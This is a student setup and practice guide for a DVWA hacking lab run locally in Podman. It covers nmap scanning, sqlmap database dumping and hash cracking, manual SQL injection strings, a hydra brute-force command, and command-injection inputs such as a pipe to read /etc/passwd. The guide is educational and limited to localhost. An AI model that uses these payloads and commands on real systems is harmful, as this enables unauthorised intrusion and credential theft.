

DVWA Hacking Lab – Student Setup & Practice Guide

Hands-on vulnerability scanning and exploitation using **DVWA** (Damn Vulnerable Web Application), running in Podman on your own machine.

>  ****IMPORTANT – READ FIRST****

> DVWA is **intentionally vulnerable**. You are attacking **your own local lab** (``localhost``), not anyone else's system. Only ever run these tools against DVWA on your machine. Never point them at any website or system you don't own or have written permission to test. Unauthorised scanning/exploitation is illegal in most countries.

0. What you need

Requirement	Detail
OS	Windows 10/11
RAM	8 GB minimum (4 GB free)
Disk	~5 GB free
Tools	WSL2, Podman, terminal

****What you'll have at the end:****

- DVWA running at ``http://localhost:8080``
- ``nmap``, ``sqlmap``, ``hydra`` ready to use
- 5 working exploit exercises

1. Install WSL + Ubuntu

1. Open **PowerShell as Administrator** and run:

```
```powershell
wsl --install
```
```

2. Restart your PC when asked. Ubuntu will finish installing.

3. Launch **Ubuntu** from the Start menu, create a username and password.

Check it works:

```
```bash
wsl -l -v
```
```

2. Install Podman

Podman is a **rootless** container engine – no daemon, no group changes, no Docker Desktop. It uses the same container images and (almost) the same commands as Docker.

```
```bash
sudo apt update
sudo apt install -y podman podman-docker
```
```

- ``podman`` – the container engine itself

- `podman-docker` – provides a `docker` command alias so any tool/script that expects `docker` still works

Verify:

```
```bash
podman --version
podman info | head -20
```
```

> If you see a warning about `cgroups v2` or storage driver, don't worry – it still works. Basic `-p` port mapping and images from Docker Hub work out of the box.

3. Run DVWA

```
```bash
podman run -d --name dvwa -p 8080:80 docker.io/vulnerables/web-dvwa
```
```

> Using the full name `docker.io/vulnerables/web-dvwa` makes it explicit that the image comes from Docker Hub. `vulnerables/web-dvwa` alone works too.

Verify it's up:

```
```bash
podman ps # dvwa should show "Up"
```
```

****Open in browser:**** <http://localhost:8080>

****First-time setup (mandatory):****

1. Go to <http://localhost:8080/setup.php>
2. Click the ****"Create / Reset Database"**** button at the bottom
3. Log in:

| Field | Value |
|----------|------------|
| Username | `admin` |
| Password | `password` |

Useful Podman commands:

```
```bash
podman ps # list running containers
podman stop dvwa # stop the lab
podman start dvwa # start it again
podman logs dvwa # see container logs
```
```

> 💡 Security level is set to ****low**** by default in this image – exactly what we want. You can change it later at `DVWA Security` → Low → Submit. ****Keep it on Low for these exercises.****

4. Install the hacking tools

Run these inside your Ubuntu terminal.

```
```bash
SQL injection scanner
sudo apt install -y sqlmap

Password cracker
sudo apt install -y hydra

Network scanner
sudo apt install -y nmap

Web server scanner (optional)
sudo apt install -y nikto

Needed for hydra's password lists
mkdir -p ~/wordlists
cd ~/wordlists
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
```
```

Check everything:

```
```bash
sqlmap --version
hydra -h | head -5
nmap --version | head -1
wc -l ~/wordlists/rockyou.txt # should be ~14 million lines
```
```

5. Getting your session cookie (needed for most tools)

1. Log in to DVWA in your browser
2. Open **DevTools** (F12) → **Application** tab → **Cookies** → `http://localhost:8080`
3. Copy the value of `PHPSESSID` (long random string)

From now on, the examples use `PHPSESSID=xyz` – replace `xyz` with your own value.

6. Exercises

Exercise 1 – Reconnaissance with nmap

```
```bash
nmap -sV localhost
```
```

Expected findings:

```
```
8080/tcp open http
```
```

Dig deeper into the web app (may need sudo):

```
```bash
sudo nmap -sV -p 8080 --script=http-headers,http-title localhost
```
```

****Discuss:**** What services did you find? What does the version tell you?

Exercise 2 – SQL Injection with sqlmap

Attack page: <http://localhost:8080/vulnerabilities/sqli/>

The vulnerable parameter is `id` in the URL.

****Step 1 – verify the app works**** (should show "ID: 1 ... First name: admin"):

```
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit
```
```

**\*\*Step 2 – let sqlmap find the database:\*\***

```
```bash
sqlmap -u
"http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=xyz; security=low" \
  --batch --dbs
```
```

**\*\*Step 3 – list the tables:\*\***

```
```bash
sqlmap -u
"http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=xyz; security=low" \
  --batch -D dvwa --tables
```
```

**\*\*Step 4 – dump the users table (has password hashes!):\*\***

```
```bash
sqlmap -u
"http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=xyz; security=low" \
  --batch -D dvwa -T users --dump
```
```

**\*\*Step 5 – crack the MD5 hashes:\*\***

```
```bash
sqlmap -u
"http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=xyz; security=low" \
  --batch -D dvwa -T users -C user,password --dump --crack
```
```

**\*\*Discuss:\*\*** Why is `--crack` able to break these? Compare the hash types you see.

---

### Exercise 3 – Manual SQL Injection (the raw technique)

Page: <http://localhost:8080/vulnerabilities/sqli/>

Try these one at a time in the ID field and observe what happens:

```
...
1
1'
1' OR '1'='1
1' OR '1'='1' --
1' UNION SELECT user, password FROM users --
...
```

For the last one, put it in the URL like:

```
...
http://localhost:8080/vulnerabilities/sqli/?id=1' UNION SELECT user,
password FROM users -- &Submit=Submit
...
```

**\*\*Discuss:\*\*** What does each step reveal? How is `UNION` extracting data?

---

### ### Exercise 4 – Brute-force login (hydra)

The DVWA **\*\*login page\*\*** uses an anti-CSRF token (`user\_token`) that changes on every request. Hydra can fetch it automatically with the `^CSRF^` placeholder:

```
```bash
hydra -l admin -P ~/wordlists/rockyou.txt -s 8080 localhost http-post-
form \

"/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=^CSRF^
:F=Login failed:C=/login.php:CSRF=user_token:name='user_token'
value='([^\]*)'"
...

```

> The admin password is ****`password`**** – hydra should find it. If you want a real challenge, change the admin password in `DVWA Security` first. ****Warning:**** running the full 14M-line rockyou list takes a long time – for a demo, make a short list first:

```
> ```bash
> head -100 ~/wordlists/rockyou.txt > ~/wordlists/short.txt
> ...

```

****Discuss:**** How does the anti-CSRF token defeat naive brute force? What is hydra doing to get around it?

Exercise 5 – Command Injection

Page: <http://localhost:8080/vulnerabilities/exec/>

Try entering an IP... then add a command after it:

```
...
```

```
127.0.0.1
127.0.0.1 && whoami
127.0.0.1 ; ls -la
127.0.0.1 | cat /etc/passwd
```
```

**\*\*Discuss:\*\*** Why do `&&`, `;`, and `|` all work? How would you fix this in code?

---

## ## 7. Handy reference

### ### DVWA pages

| Page              | URL                                                        |
|-------------------|------------------------------------------------------------|
| Login             | http://localhost:8080/login.php                            |
| Setup             | http://localhost:8080/setup.php                            |
| SQL Injection     | http://localhost:8080/vulnerabilities/sqli/                |
| Command Injection | http://localhost:8080/vulnerabilities/exec/                |
| Brute Force       | http://localhost:8080/vulnerabilities/brute/               |
| XSS (Reflected)   | http://localhost:8080/vulnerabilities/xss_r/               |
| XSS (Stored)      | http://localhost:8080/vulnerabilities/xss_s/               |
| File Upload       | http://localhost:8080/vulnerabilities/upload/              |
| File Inclusion    | http://localhost:8080/vulnerabilities/fi/?page=include.php |

### ### Credentials

```
admin / password
```

---

## ## 8. Common problems & fixes

| Problem                              | Fix                                                                                      |
|--------------------------------------|------------------------------------------------------------------------------------------|
| `podman: command not found`          | Re-run `sudo apt install -y podman`;<br>check with `which podman`                        |
| image pull fails / DNS error         | Try the full name<br>`docker.io/vulnerables/web-dvwa` and re-run                         |
| DVWA setup page errors               | Click <b>**Create / Reset Database**</b> again                                           |
| sqlmap: "No cookie"                  | Add `--cookie="PHPSESSID=xyz; security=low"` with<br>your real value                     |
| hydra says "no valid password found" | Check the `F=Login failed`<br>string matches the page; check the PHPSESSID isn't expired |
| port 8080 already in use             | `podman rm -f dvwa` then change the port: `<br>p 8081:80`                                |
| `docker` command not found           | Install the alias: `sudo apt install -y<br>podman-docker`                                |

---

## ## 9. Cleanup

When the class is over:

```
```bash
```

```
podman stop dvwa          # stop the container
podman rm dvwa            # remove it entirely
podman rmi docker.io/vulnerables/web-dvwa  # delete the image
````
```

This removes the vulnerable app completely from your machine.